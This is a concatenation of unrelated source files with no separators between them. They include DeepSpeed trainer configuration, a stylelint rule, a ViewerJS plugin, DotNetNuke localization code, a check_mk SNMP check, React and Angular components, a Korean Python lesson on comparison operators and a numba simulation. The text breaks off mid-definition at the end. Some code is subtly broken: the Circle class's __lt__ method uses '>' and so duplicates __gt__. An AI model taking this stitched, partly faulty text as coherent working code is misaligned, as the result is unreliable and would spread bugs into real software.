:obj:`True`/:obj:`False` only if the value is set, always :obj:`False` otherwise. So use this method to ask the very specific question of whether the value is set to :obj:`False` (and it's not set to :obj:`True` or isn't set). """ value = self.get_value(ds_key_long) return False if value is None else not bool(value) def is_zero2(self): return self._stage == 2 def is_zero3(self): return self._stage == 3 def is_offload(self): return self._offload class HfTrainerDeepSpeedConfig(HfDeepSpeedConfig): """ The ``HfTrainerDeepSpeedConfig`` object is meant to be created during ``TrainingArguments`` object creation and has the same lifespan as the latter. """ def __init__(self, config_file_or_dict): super().__init__(config_file_or_dict) self._dtype = torch.float16 self.mismatches = [] def dtype(self): return self._dtype def fill_match(self, ds_key_long, hf_val, hf_key=None, must_match=True): """ A utility method that massages the config file and can optionally verify that the values match. 1. Replace "auto" values with ``TrainingArguments`` value. 2. If it wasn't "auto" and ``must_match`` is true, then check that DS config matches Trainer config values and if mismatched add the entry to ``self.mismatched`` - will assert during ``trainer_config_finalize`` for one or more mismatches. """ config, ds_key = self.find_config_node(ds_key_long) if config is None: return if config.get(ds_key) == "auto": config[ds_key] = hf_val return if not must_match: return ds_val = config.get(ds_key) if ds_val is not None and ds_val != hf_val: self.mismatches.append(f"- ds {ds_key_long}={ds_val} vs hf {hf_key}={hf_val}") fill_only = partialmethod(fill_match, must_match=False) def trainer_config_process(self, args): """ Adjust the config with ``TrainingArguments`` values. This stage is run during ``TrainingArguments`` object creation. """ # DeepSpeed does: # train_batch_size = world_size * train_micro_batch_size_per_gpu * gradient_accumulation_steps train_batch_size = args.world_size * args.per_device_train_batch_size * args.gradient_accumulation_steps self.fill_match( "train_micro_batch_size_per_gpu", args.per_device_train_batch_size, "per_device_train_batch_size" ) self.fill_match("gradient_accumulation_steps", args.gradient_accumulation_steps, "gradient_accumulation_steps") self.fill_match("train_batch_size", train_batch_size, "train_batch_size (calculated)") self.fill_match("gradient_clipping", args.max_grad_norm, "max_grad_norm") self.fill_match("optimizer.params.lr", args.learning_rate, "learning_rate") self.fill_match("optimizer.params.betas", [args.adam_beta1, args.adam_beta2], "adam_beta1+adam_beta2") self.fill_match("optimizer.params.eps", args.adam_epsilon, "adam_epsilon") self.fill_match("optimizer.params.weight_decay", args.weight_decay, "weight_decay") self.fill_only("scheduler.params.warmup_min_lr", 0) # not a trainer arg self.fill_match("scheduler.params.warmup_max_lr", args.learning_rate, "learning_rate") # total_num_steps - will get set in trainer_config_finalize # fp16 if args.fp16: fp16_backend = "apex" if args.fp16_backend == "apex" else "amp" else: fp16_backend = None # amp: similar to the pytorch native amp - it has a bunch of optional params but we won't set # any here unless the user did the work self.fill_match("fp16.enabled", fp16_backend == "amp", "fp16+fp16_backend(amp)") # apex: delegates amp work to apex (which needs to be available), but it cannot be used with any # ZeRO features self.fill_match("amp.enabled", fp16_backend == "apex", "fp16+fp16_backend(apex)") self.fill_match("amp.opt_level", args.fp16_opt_level, "fp16_opt_level") # only if we have an explicit fp16.enabled = False then it's fp32, if it's True or this # whole config section is missing then the fallback is fp16 if self.is_false("fp16.enabled"): self._dtype = torch.float32 # later there will be other dtypes besides just fp16 and fp32 # also not quite sure what dtype should be under apex, defaulting to fp16 for now def trainer_config_finalize(self, args, model, num_training_steps): """ This stage is run after we have the model and know num_training_steps. Now we we can complete the configuration process. """ # zero if self.is_zero3(): # automatically assign the optimal config values based on model config hidden_size = model.config.hidden_size self.fill_only("zero_optimization.reduce_bucket_size", hidden_size * hidden_size) self.fill_only("zero_optimization.stage3_prefetch_bucket_size", 0.9 * hidden_size * hidden_size) self.fill_only("zero_optimization.stage3_param_persistence_threshold", 10 * hidden_size) # scheduler self.fill_match("scheduler.params.total_num_steps", num_training_steps, "num_training_steps (calculated)") self.fill_match("scheduler.params.warmup_num_steps", args.get_warmup_steps(num_training_steps), "warmup_steps") if len(self.mismatches) > 0: mismatches = "\n".join(self.mismatches) raise ValueError( f"Please correct the following DeepSpeed config values that mismatch TrainingArguments values:\n{mismatches}\n" "The easiest method is to set these DeepSpeed config values to 'auto'." ) # keep the config object global to be able to access it anywhere during TrainingArguments life-cycle _hf_deepspeed_config_weak_ref = None def set_hf_deepspeed_config(hf_deepspeed_config_obj): # this is a special weakref global object to allow us to get to Deepspeed config from APIs # that don't have an easy way to get to the Deepspeed config outside of the Trainer domain. global _hf_deepspeed_config_weak_ref # will go away automatically when HfDeepSpeedConfig is destroyed (when TrainingArguments is destroyed) _hf_deepspeed_config_weak_ref = weakref.ref(hf_deepspeed_config_obj) def is_deepspeed_zero3_enabled(): if _hf_deepspeed_config_weak_ref is not None and _hf_deepspeed_config_weak_ref() is not None: return _hf_deepspeed_config_weak_ref().is_zero3() else: return False def deepspeed_config(): if _hf_deepspeed_config_weak_ref is not None and _hf_deepspeed_config_weak_ref() is not None: return _hf_deepspeed_config_weak_ref().config else: return None def deepspeed_init(trainer, num_training_steps, resume_from_checkpoint=None): """ Init DeepSpeed, after updating the DeepSpeed configuration with any relevant Trainer's args. If ``resume_from_checkpoint`` was passed then an attempt to resume from a previously saved checkpoint will be made. Args: trainer: Trainer object num_training_steps: per single gpu resume_from_checkpoint: path to a checkpoint if to resume from after normal DeepSpeedEngine load Returns: model, optimizer, lr_scheduler """ import deepspeed from deepspeed.utils import logger as ds_logger model = trainer.model args = trainer.args hf_deepspeed_config = args.hf_deepspeed_config hf_deepspeed_config.trainer_config_finalize(args, model, num_training_steps) # resume config update - some bits like `model` and `num_training_steps` only become available during train config = hf_deepspeed_config.config # Optimizer + Scheduler # Currently supported combos: # 1. DS scheduler + DS optimizer: Yes # 2. HF scheduler + HF optimizer: Yes # 3. DS scheduler + HF optimizer: Yes # 4. HF scheduler + DS optimizer: Yes # # Unless Offload is enabled in which case it's: # 1. DS scheduler + DS optimizer: Yes # 2. HF scheduler + HF optimizer: Mostly* # 3. DS scheduler + HF optimizer: Mostly* # 4. HF scheduler + DS optimizer: Yes # # Mostly*: All non-native DeepSpeed optimizers that have both CPU and GPU implementation should work (except LAMB) optimizer = None if "optimizer" in config: if args.adafactor: raise ValueError( "--adafactor was passed, but also found `optimizer` configured in the DeepSpeed config. " "Only one optimizer can be configured." ) else: if hf_deepspeed_config.is_offload(): logger.info( "Detected ZeRO Offload and non-DeepSpeed optimizers: This combination should work as long as the custom optimizer has both CPU and GPU implementation (except LAMB)" ) # ds supports Adam, OneBitAdam, and Lamb optimizers and can import other optimizers from torch. # But trainer uses AdamW by default. optimizer = trainer.create_optimizer() # To use other optimizers requires voiding warranty with: `zero_allow_untested_optimizer` config["zero_allow_untested_optimizer"] = True def _lr_scheduler_callable(optimizer): return trainer.create_scheduler(num_training_steps=num_training_steps, optimizer=optimizer) lr_scheduler = None if "scheduler" not in config: if optimizer is None: # Optimizer is not available, so use callable to defer lr_scheduler creation to DS init lr_scheduler = _lr_scheduler_callable else: lr_scheduler = trainer.create_scheduler(num_training_steps=num_training_steps, optimizer=optimizer) # keep for quick debug: # from pprint import pprint; pprint(config) # set the Deepspeed log level consistent with the trainer ds_logger.setLevel(args.get_process_log_level()) model_parameters = filter(lambda p: p.requires_grad, model.parameters()) model, optimizer, _, lr_scheduler = deepspeed.initialize( model=model, model_parameters=model_parameters, config_params=config, optimizer=optimizer, lr_scheduler=lr_scheduler, ) if resume_from_checkpoint is not None: # it's possible that the user is trying to resume from model_path, which doesn't necessarily # contain a deepspeed checkpoint. e.g. examples just check if the dir exists and assume it's # a resume from a checkpoint and not just a local pretrained weight. So we check here if the # path contains what looks like a deepspeed checkpoint import glob deepspeed_checkpoint_dirs = sorted(glob.glob(f"{resume_from_checkpoint}/global_step*")) if len(deepspeed_checkpoint_dirs) > 0: logger.info(f"Attempting to resume from {resume_from_checkpoint}") # this magically updates self.optimizer and self.lr_scheduler load_path, _ = model.load_checkpoint( resume_from_checkpoint, load_optimizer_states=True, load_lr_scheduler_states=True ) if load_path is None: raise ValueError(f"[deepspeed] failed to resume from checkpoint {resume_from_checkpoint}") else: logger.info(f"{resume_from_checkpoint} doesn't have deepspeed checkpoints, doing nothing") return model, optimizer, lr_scheduler
$("#keywords").select2({ placeholder: "Enter Keywords", tags: true, width: "100%", tokenSeparators: [','] });
"use strict"; const _ = require("lodash"); const beforeBlockString = require("../../utils/beforeBlockString"); const blockString = require("../../utils/blockString"); const hasBlock = require("../../utils/hasBlock"); const hasEmptyBlock = require("../../utils/hasEmptyBlock"); const optionsMatches = require("../../utils/optionsMatches"); const report = require("../../utils/report"); const ruleMessages = require("../../utils/ruleMessages"); const validateOptions = require("../../utils/validateOptions"); const whitespaceChecker = require("../../utils/whitespaceChecker"); const ruleName = "block-opening-brace-space-before"; const messages = ruleMessages(ruleName, { expectedBefore: () => 'Expected single space before "{"', rejectedBefore: () => 'Unexpected whitespace before "{"', expectedBeforeSingleLine: () => 'Expected single space before "{" of a single-line block', rejectedBeforeSingleLine: () => 'Unexpected whitespace before "{" of a single-line block', expectedBeforeMultiLine: () => 'Expected single space before "{" of a multi-line block', rejectedBeforeMultiLine: () => 'Unexpected whitespace before "{" of a multi-line block' }); const rule = function(expectation, options) { const checker = whitespaceChecker("space", expectation, messages); return (root, result) => { const validOptions = validateOptions( result, ruleName, { actual: expectation, possible: [ "always", "never", "always-single-line", "never-single-line", "always-multi-line", "never-multi-line" ] }, { actual: options, possible: { ignoreAtRules: [_.isString] }, optional: true } ); if (!validOptions) { return; } // Check both kinds of statements: rules and at-rules root.walkRules(check); root.walkAtRules(check); function check(statement) { // Return early if blockless or has an empty block if (!hasBlock(statement) || hasEmptyBlock(statement)) { return; } // Return early if at-rule is to be ignored if (optionsMatches(options, "ignoreAtRules", statement.name)) { return; } const source = beforeBlockString(statement); const beforeBraceNoRaw = beforeBlockString(statement, { noRawBefore: true }); let index = beforeBraceNoRaw.length - 1; if (beforeBraceNoRaw[index - 1] === "\r") { index -= 1; } checker.before({ source, index: source.length, lineCheckStr: blockString(statement), err: m => { report({ message: m, node: statement, index, result, ruleName }); } }); } }; }; rule.ruleName = ruleName; rule.messages = messages; module.exports = rule;
/** * Copyright (C) 2012 KO GmbH <copyright@kogmbh.com> * * @licstart * This file is part of ViewerJS. * * ViewerJS is free software: you can redistribute it and/or modify it * under the terms of the GNU Affero General Public License (GNU AGPL) * as published by the Free Software Foundation, either version 3 of * the License, or (at your option) any later version. * * ViewerJS is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with ViewerJS. If not, see <http://www.gnu.org/licenses/>. * @licend * * @source: http://viewerjs.org/ * @source: http://github.com/kogmbh/ViewerJS */ /*global runtime, document, odf, gui, console, webodf*/ function ODFViewerPlugin() { "use strict"; function init( callback ) { var lib = document.createElement('script'), pluginCSS; lib.async = false; lib.src = './webodf.js'; lib.type = 'text/javascript'; lib.onload = function () { runtime.loadClass('gui.HyperlinkClickHandler'); runtime.loadClass('odf.OdfCanvas'); runtime.loadClass('ops.Session'); runtime.loadClass('gui.CaretManager'); runtime.loadClass("gui.HyperlinkTooltipView"); runtime.loadClass('gui.SessionController'); runtime.loadClass('gui.SvgSelectionView'); runtime.loadClass('gui.SelectionViewManager'); runtime.loadClass('gui.ShadowCursor'); runtime.loadClass('gui.SessionView'); callback(); }; document.head.appendChild(lib); // pluginCSS = /**@type{!HTMLStyleElement}*/(document.createElementNS(document.head.namespaceURI, 'style')); // pluginCSS.setAttribute('media', 'screen, print, handheld, projection'); // pluginCSS.setAttribute('type', 'text/css'); // pluginCSS.appendChild(document.createTextNode(ODFViewerPlugin_css)); // document.head.appendChild(pluginCSS); } // that should probably be provided by webodf function nsResolver( prefix ) { var ns = { 'draw': "urn:oasis:names:tc:opendocument:xmlns:drawing:1.0", 'presentation': "urn:oasis:names:tc:opendocument:xmlns:presentation:1.0", 'text': "urn:oasis:names:tc:opendocument:xmlns:text:1.0", 'office': "urn:oasis:names:tc:opendocument:xmlns:office:1.0" }; return ns[prefix] || console.log('prefix [' + prefix + '] unknown.'); } var self = this, pluginName = "WebODF", pluginURL = "http://webodf.org", odfCanvas = null, odfElement = null, initialized = false, root = null, documentType = null, pages = [], currentPage = null; this.initialize = function ( viewerElement, documentUrl ) { // If the URL has a fragment (#...), try to load the file it represents init(function () { var session, sessionController, sessionView, odtDocument, shadowCursor, selectionViewManager, caretManager, localMemberId = 'localuser', hyperlinkTooltipView, eventManager; odfElement = document.getElementById('canvas'); odfCanvas = new odf.OdfCanvas(odfElement); odfCanvas.load(documentUrl); odfCanvas.addListener('statereadychange', function () { root = odfCanvas.odfContainer().rootElement; initialized = true; documentType = odfCanvas.odfContainer().getDocumentType(root); if ( documentType === 'text' ) { odfCanvas.enableAnnotations(true, false); session = new ops.Session(odfCanvas); odtDocument = session.getOdtDocument(); shadowCursor = new gui.ShadowCursor(odtDocument); sessionController = new gui.SessionController(session, localMemberId, shadowCursor, {}); eventManager = sessionController.getEventManager(); caretManager = new gui.CaretManager(sessionController, odfCanvas.getViewport()); selectionViewManager = new gui.SelectionViewManager(gui.SvgSelectionView); sessionView = new gui.SessionView({ caretAvatarsInitiallyVisible: false }, localMemberId, session, sessionController.getSessionConstraints(), caretManager, selectionViewManager); selectionViewManager.registerCursor(shadowCursor); hyperlinkTooltipView = new gui.HyperlinkTooltipView(odfCanvas, sessionController.getHyperlinkClickHandler().getModifier); eventManager.subscribe("mousemove", hyperlinkTooltipView.showTooltip); eventManager.subscribe("mouseout", hyperlinkTooltipView.hideTooltip); var op = new ops.OpAddMember(); op.init({ memberid: localMemberId, setProperties: { fillName: runtime.tr("Unknown Author"), color: "blue" } }); session.enqueue([op]); sessionController.insertLocalCursor(); } self.onLoad(); }); }); }; this.isSlideshow = function () { return documentType === 'presentation'; }; this.onLoad = function () { }; this.fitToWidth = function ( width ) { odfCanvas.fitToWidth(width); }; this.fitToHeight = function ( height ) { odfCanvas.fitToHeight(height); }; this.fitToPage = function ( width, height ) { odfCanvas.fitToContainingElement(width, height); }; this.fitSmart = function ( width ) { odfCanvas.fitSmart(width); }; this.getZoomLevel = function () { return odfCanvas.getZoomLevel(); }; this.setZoomLevel = function ( value ) { odfCanvas.setZoomLevel(value); }; // return a list of tuples (pagename, pagenode) this.getPages = function () { var pageNodes = Array.prototype.slice.call(root.getElementsByTagNameNS(nsResolver('draw'), 'page')), pages = [], i, tuple; for ( i = 0; i < pageNodes.length; i += 1 ) { tuple = [ pageNodes[i].getAttribute('draw:name'), pageNodes[i] ]; pages.push(tuple); } return pages; }; this.showPage = function ( n ) { odfCanvas.showPage(n); }; this.getPluginName = function () { return pluginName; }; this.getPluginVersion = function () { var version; if ( String(typeof webodf) !== "undefined" ) { version = webodf.Version; } else { version = "Unknown"; } return version; }; this.getPluginURL = function () { return pluginURL; }; }
def get_comment_body(curator): comment_template = f""" Thanks for contributing to the dPoll content. You have been upvoted from our community curation account (@dpoll.curation) in courtesy of {curator}. *** <sup>If you want to support dPoll curation, you can also delegate some steem power. Quick steem connect links to delegate: [50SP](https://steemconnect.com/sign/delegateVestingShares?delegatee=dpoll.curation&vesting_shares=50%20SP) | [100SP](https://steemconnect.com/sign/delegateVestingShares?delegatee=dpoll.curation&vesting_shares=100%20SP) | [250SP](https://steemconnect.com/sign/delegateVestingShares?delegatee=dpoll.curation&vesting_shares=250%20SP) | [500SP](https://steemconnect.com/sign/delegateVestingShares?delegatee=dpoll.curation&vesting_shares=500%20SP) </sup> """ return comment_template
/* * DotNetNuke® - http://www.dotnetnuke.com * Copyright (c) 2002-2014 * by DotNetNuke Corporation * All Rights Reserved */ /*** * @class Localization * * Check if window storage is avaible, get resources settings, check resources timestamp, return sotred resources * or request for new resources, store it if can and return resources * * @depends dnn.jquery.js * * @param {object} options: { * {string} service * {string} controller * {string} resxName, name for store data, normally MyResourcesResx * * {object} resourceSettings: { * {string} method, method name to obtain resource settings * {string} methodType (get), get or post * {object} data (null), add parameters to request (get or post) * {string} paramNames: { name of parameters returned by the server * {string} culture (culture), name for culture parameter * {string} resxTimeStamp (resxTimeStamp), name for timestamp parameter * }, * {function} callback200(data) (null), callback to call after resource settigs request for status 200, data will resturn an object {culture: 'culture', resxTimeStamp: number} * {function} callbackError (null), callback to call after resource settigs request for status not 200 * }, * * {object} resources: { * {string} method: method name to obtain resources * {string} methodType (get), get or post * {object} data (null), add parameters to request (get or post) * {string} paramName (localization), name of parameter for returned data * {function} callback200(data) (null), callback to call after resource request or storage load for status 200, * normally you want use this callback to assign your resources, data will return an object {localization: {resource_name: 'resource value'}} * {function} callbackError (null), callback to call after resource request or storage load for status not 200 * } * } * */ // Namespace window.dnn = window.dnn || {}; window.dnn.utils = window.dnn.utils || {}; (function IIFE() { var LocalizationClass; LocalizationClass = (function IIFE() { 'use strict'; //var this.options, this.resourceSettings; var detectStorage, getStoredData, setStoredData, compareTimeStamp, getServiceUrl, getResourcesSettings, getResourcesSettings200, getResources, getResources200, updateCulture; /* Class properties */ Localization.class = 'Localization'; Localization.type = 'Class'; Localization.storageAllowed = false; /* Private Constants and Properties */ //this.options = {}; /* Constructor */ function Localization(options) { //console.log('~Localization'); this.options = {}; // Defaults if (!options.service || typeof options.service !== 'string') throw 'No service provided'; this.options.service = options.service; if (!options.controller || typeof options.controller !== 'string') throw 'No controller provided'; this.options.controller = options.controller; if (!options.resxName) throw 'No resxName provided'; this.options.resxName = options.resxName; this.options.culture = options.culture || ''; this.options.key = this.options.resxName+this.options.culture; this.options.keyTS = this.options.resxName+'TimeStamp'+this.options.culture; this.options.key = this.options.resxName; this.options.keyTS = this.options.resxName+'TimeStamp'+this.options.culture; if (this.options.culture !== '') { this.options.key += '.' + this.options.culture; this.options.keyTS += '.' + this.options.culture; } // Resource Settings if (!options.resourceSettings || typeof options.resourceSettings !== 'object') throw 'No resourceSettings provided'; this.options.resourceSettings = options.resourceSettings; if (!options.resourceSettings.method || typeof options.resourceSettings.method !== 'string') throw 'No method for get resource settings provided'; this.options.resourceSettings.method = options.resourceSettings.method; this.options.resourceSettings.methodType = options.resourceSettings.methodType || 'get'; if (!options.resourceSettings.paramNames || typeof options.resourceSettings.paramNames !== 'object') {options.resourceSettings.paramNames = {};} options.resourceSettings.paramNames.culture = options.resourceSettings.paramNames.culture || 'culture'; options.resourceSettings.paramNames.resxTimeStamp = options.resourceSettings.paramNames.resxTimeStamp || 'resxTimeStamp'; this.options.resourceSettings.paramName = options.resourceSettings.paramNames; this.options.resourceSettings.params = this.options.resourceSettings.params || {}; this.options.resourceSettings.callback200 = options.resourceSettings.callback200 || null; this.options.resourceSettings.callbackError = options.resourceSettings.callbackError || null; // Resources if (!options.resources || typeof options.resources !== 'object') throw 'No resources provided'; this.options.resources = options.resources; if (!options.resources.method || typeof options.resources.method !== 'string') throw 'No method for get resource settings provided'; this.options.resources.method = options.resources.method; this.options.resources.methodType = options.resources.methodType || 'get'; this.options.resources.paramName = options.resources.paramName || 'localization'; this.options.resources.params = this.options.resources.params || {}; this.options.resources.callback200 = options.resources.callback200 || null; this.options.resources.callbackError = options.resources.callbackError || null; detectStorage.call(this); getResourcesSettings.call(this); } /* Private Methods */ detectStorage = function () { var fail, uid; try { uid = new Date(); (Localization.storageAllowed = window.localStorage).setItem(uid, uid); fail = Localization.storageAllowed.getItem(uid) !== uid+''; Localization.storageAllowed.removeItem(uid); Localization.storageAllowed = fail ? false : true; } catch (ex) { Localization.storageAllowed = false; } }; getStoredData = function () { var stored; if (!Localization.storageAllowed) return false; try { stored = JSON.parse(window.localStorage.getItem(this.options.key)); } catch (err) { stored = {}; window.localStorage.removeItem(this.options.key); } return { storedTS: window.localStorage.getItem(this.options.keyTS), stored: stored }; }; setStoredData = function (stored, storedTS) { if (!Localization.storageAllowed) return false; window.localStorage.setItem(this.options.key, JSON.stringify(stored)); window.localStorage.setItem(this.options.keyTS, storedTS); }; compareTimeStamp = function (storedTS) { if (!Localization.storageAllowed) return false; return getStoredData.call(this).storedTS+'' === storedTS+''; }; getServiceUrl = function (method) { return $.dnnSF().getServiceRoot(this.options.service) + this.options.controller + '/' + method; }; getResourcesSettings = function () { var self = this; $.ajax({ url: getServiceUrl.call(self, this.options.resourceSettings.method), type: this.options.resourceSettings.methodType, data: this.options.resourceSettings.data, beforeSend: $.dnnSF().setModuleHeaders, complete: null, // Study this case success: function (data) { getResourcesSettings200.call(self, data); }, error: this.options.resourceSettings.callbackError }); }; getResourcesSettings200 = function (data) { this.resourceSettings = { culture: null, resxTimeStamp: null }; // Not browser storage allowed and no callback for this request if (!Localization.storageAllowed && typeof this.options.resourceSettings.callback200 !== 'function') { getResources.call(this); return; } if (!data[this.options.resourceSettings.paramNames.culture]) {throw 'No culture from server';} if (!data[this.options.resourceSettings.paramNames.resxTimeStamp]) {throw 'No resxTimeStamp from server';} this.resourceSettings.culture = data[this.options.resourceSettings.paramNames.culture]; updateCulture.call(this, this.resourceSettings.culture); this.resourceSettings.resxTimeStamp = data[this.options.resourceSettings.paramNames.resxTimeStamp]; // Not browser storage allowed but callback for this request: callback and getResources if (!Localization.storageAllowed && typeof this.options.resourceSettings.callback200 === 'function') { this.options.resourceSettings.callback200(this.resourceSettings); getResources.call(this); return; } // Return data from local or get new if (this.resourceSettings.culture && this.resourceSettings.resxTimeStamp) { if(compareTimeStamp.call(this, this.resourceSettings.resxTimeStamp)) { if (typeof this.options.resources.callback200 === 'function') this.options.resources.callback200({localization: getStoredData.call(this).stored}); } else { getResources.call(this); } } else { getResources.call(this); } if (typeof this.options.resourceSettings.callback200 === 'function') {this.options.resourceSettings.callback200(this.resourceSettings);} }; getResources = function () { var self = this; this.options.resources.data = this.options.resources.data || {}; this.options.resources.data.culture = this.resourceSettings.culture; $.ajax({ url: getServiceUrl.call(self, this.options.resources.method), type: this.options.resources.methodType, data: this.options.resources.data, beforeSend: $.dnnSF().setModuleHeaders, complete: null, // Study this case success: function (data) { getResources200.call(self, data); }, error: this.options.resources.callbackError }); }; // If called, need store data getResources200 = function (data) { var resData; resData = {localization: null}; if(!data[this.options.resources.paramName]) throw 'No localization from server'; resData.localization = data[this.options.resources.paramName]; if (resData.localization && this.resourceSettings.resxTimeStamp) setStoredData.call(this, resData.localization, this.resourceSettings.resxTimeStamp); if (typeof this.options.resources.callback200 === 'function') this.options.resources.callback200(resData); }; updateCulture = function(culture) { if (culture != this.options.culture) { this.options.culture = this.resourceSettings.culture; } this.options.key = this.options.resxName+'.'+this.options.culture; this.options.keyTS = this.options.resxName+'TimeStamp.'+this.options.culture; }; /* test-code */ /* end-test-code */ return Localization; })(); window.dnn.utils.Localization = LocalizationClass; }).call(this);
#!/usr/bin/python # -*- encoding: utf-8; py-indent-offset: 4 -*- # check_mk is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation in version 2. check_mk is distributed # in the hope that it will be useful, but WITHOUT ANY WARRANTY; with- # out even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. See the GNU General Public License for more de- # tails. You should have received a copy of the GNU General Public # License along with GNU Make; see the file COPYING. If not, write # to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, # Boston, MA 02110-1301 USA. def inventory_huawei_mezz_health(info): return [("blade 4 mezz status", None)] def scan(oid): return (oid(".1.3.6.1.4.1.2011.2.82.1.82.4.4.6.0") == '1') check_info["huawei_hmm_mezz4_check"] = { "inventory_function": inventory_huawei_mezz_health, "check_function": check_huawei_mezz_health, "service_description": "%s", 'includes': ["huawei_hmm_util.include", ], "snmp_info": (".1.3.6.1.4.1.2011.2.82.1.82.4.4.2008.1", ["4", "5", "2", ]), 'snmp_scan_function': scan, }
import React from "react"; import Typography from "@material-ui/core/Typography"; import Title from "../../../../Title"; export default function Deposits(props) { return ( <React.Fragment> <Title>Recent Deposits</Title> <Typography component='p' variant='h4'> ${props.budget} </Typography> </React.Fragment> ); }
# 9주차 2차시 # 비교 연산자 오버로딩 class Circle: def __init__(self,radius): self.radius = radius def __gt__(self, another): return self.radius > another.radius def __lt__(self, another): return self.radius > another.radius def __str__(self): return f'Circle with radius {self.radius}' if __name__ == '__main__': c1 = Circle(4) c2 = Circle(5) print(c1 > c2) # c1, c2이 갖고 있는 메소드를 호출하여 연산한다
angular.module('pc.loading', []) .directive('loading', ['$http' ,function ($http) { return { restrict: 'E', template: '<div id="loading-animation" style="position: fixed;top: 0;right: 0;bottom: 0;left: 0;z-index: 1100;background-color: white;opacity: .6;"><img src="data:image/gif;base64,R0lGODlhgACAAKUAAAQGBISGhERGRMTGxCQmJKSmpGRmZOTm5BQWFJSWlFRWVNTW1DQ2NLS2tHR2dPT29AwODIyOjExOTMzOzCwuLKyurGxubOzu7BweHJyenFxeXNze3Dw+PLy+vISChPz+/AwKDIyKjExKTMzKzCwqLKyqrGxqbOzq7BwaHJyanFxaXNza3Dw6PLy6vHx6fPz6/BQSFJSSlFRSVNTS1DQyNLSytHRydPTy9CQiJKSipGRiZOTi5ERCRMTCxP///wAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQICQAAACwAAAAAgACAAAAG/kCfcEgsGo/IpHLJbDqf0Kh0Sq1ar9isdsvter/gsHhMLpvP6LR6zW673/C4fE6vC1+LQaPW6E12Bw8vdoRELxUSMIoI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75YOK/g6njBYHqLtkgwLGmtOQsAX2G3+ettKEelQLx648CeQYCDrZBdO0bWoHZcjnSNYFm5YPMjG65CfUElYWaOtrjEeS9ilYmAhXWhvs0tki9djNqkQaCymVovYC9ABhmUIJ0tzg5F7ZNkBB9hrX5B5x6oMwYGVACrIe2mkiE52R+b1qRNs4kJijwDJofWtliU7Iub9t6SlJAyCJCWGGQwg9mmSaR54fICK6uNKJtzAWVggAOEK2HahJZM9x1xEeJ3zdcqIitkYEALuvvNncllpDwDMgYXPIv+CQxFDBuoc11xxUBO27OtXibCBmRwAxFgAAAfegdiFSFnMrjiwEJ+2++Kt7EQpIADHqhACBagARXg4AIf8NBH/rWIHaBhK8yq7mDp091GXAAHBjKQChawAFQJcJ9uw9AZBhAhnj7PzmlWGQK6PYIa9Et//b1FEtHAgBrQM71h5u6AB0I7EJsSAQYwkxpS18r+UVpVoP1GohTeiAU4QAfkaoMETpxIQlN7p/HeFAIEEIAGZEAGNl7DBgiAb9fRFVRfpUcNUPAAHfCCH8PrXz0/2bViTEAcFAh5OXIArwJ3eZkI23gHPJ5zfjhBBheYMIUFSQ8CJOABHAiE0asggvxgvnY5E6jAAQagkqlvIQNJL7XFhd6AlOjc61iQAVnZu5ELvAAEUY842s+gPPVNoAQ7eMbZ524GCgzgARGYgAFs0AELKADkfE+84hfP+MY7/vGQj7zkJ0/5ylv+8pgnQxAAADs=" style="position: absolute;left: 50%;top: 50%;margin-left: -32px;margin-top: -32px;display: block;" /></div>', link: function (scope, elm, attrs) { var element = $('#loading-animation'); scope.isLoading = function () { return $http.pendingRequests.length > 0; }; scope.$watch(scope.isLoading, function (v) { if(v){ element.show(); }else{ element.hide(); } }); } }; }]);
/** * @todo Complete the test * This example is not perfect. * The `link` function is not tested. * (malarkey usage, addClass, $watch, $destroy) */ describe('directive malarkey', function() { let vm; let element; beforeEach(angular.mock.module('obrasUi')); beforeEach(inject(($compile, $rootScope, githubContributor, $q) => { spyOn(githubContributor, 'getContributors').and.callFake(() => { return $q.when([{}, {}, {}, {}, {}, {}]); }); element = angular.element(` <acme-malarkey extra-values="['Poney', 'Monkey']"></acme-malarkey> `); $compile(element)($rootScope.$new()); $rootScope.$digest(); vm = element.isolateScope().vm; })); it('should be compiled', () => { expect(element.html()).not.toEqual(null); }); it('should have isolate scope object with instanciate members', () => { expect(vm).toEqual(jasmine.any(Object)); expect(vm.contributors).toEqual(jasmine.any(Array)); expect(vm.contributors.length).toEqual(6); }); it('should log a info', inject($log => { expect($log.info.logs).toEqual(jasmine.stringMatching('Activated Contributors View')); })); });
# - Ayan Chakrabarti <ayan.chakrabarti@gmail.com> """Functions for simulating sending with a given policy.""" import numpy as np from numba import jit from . import utils as ut @jit(nopython=True) def _simulate(qpm, policy, dset_mr, rsz_is): """Compiled implementation of simulate.""" assert qpm[0] < qpm[1] assert qpm[2] >= qpm[1] assert len(policy) == qpm[2]-qpm[1]+1 send_m = np.zeros((len(dset_mr[0]), 2), np.int64) send_s = np.zeros((qpm[2]-qpm[1]+1), np.float64) scmp = np.arange(qpm[1], qpm[2]+1).reshape((-1, 1)) occup_s = np.zeros((qpm[2]-qpm[0]+1), np.float64) ocmp = np.arange(qpm[0], qpm[2]+1).reshape((-1, 1)) nstate = qpm[2]*np.ones((rsz_is[1]), np.int64) imidx = np.random.randint(0, len(dset_mr[0]), rsz_is) avg_gain = 0. for i in range(rsz_is[0]): tidx = imidx[i, :] ifsend = dset_mr[0][tidx] >= policy[np.maximum(0, nstate-qpm[1])] ifsend = np.logical_and(ifsend, nstate >= qpm[1]) occup_s = occup_s + np.sum(ocmp == nstate, 1) send_s = send_s + np.sum(scmp == nstate[ifsend], 1) for j, jidx in enumerate(tidx): send_m[jidx, 1] = send_m[jidx, 1] + 1 if ifsend[j]: send_m[jidx, 0] = send_m[jidx, 0] + 1 avg_gain = avg_gain + np.sum(np.where(ifsend, dset_mr[1][tidx], 0)) nstate = nstate - np.where(ifsend, qpm[1], 0) + qpm[0] nstate = np.minimum(nstate, qpm[2]) send_m = send_m[np.argsort(dset_mr[0]), :] denom = rsz_is[0]*rsz_is[1] occup_s, send_s = occup_s/denom, send_s/denom return avg_gain/denom, (send_m, send_s, occup_s) def simulate(rate, bdepth, policy, dset_mr, rsz_is=(1e5, 1e2)): """Simulate policy on a single camera.""" qpm = ut.getqpm(rate, bdepth) rsz_is = (int(rsz_is[0]), int(rsz_is[1])) return _simulate(qpm, policy, dset_mr, rsz_is) @jit(nopython=True) def 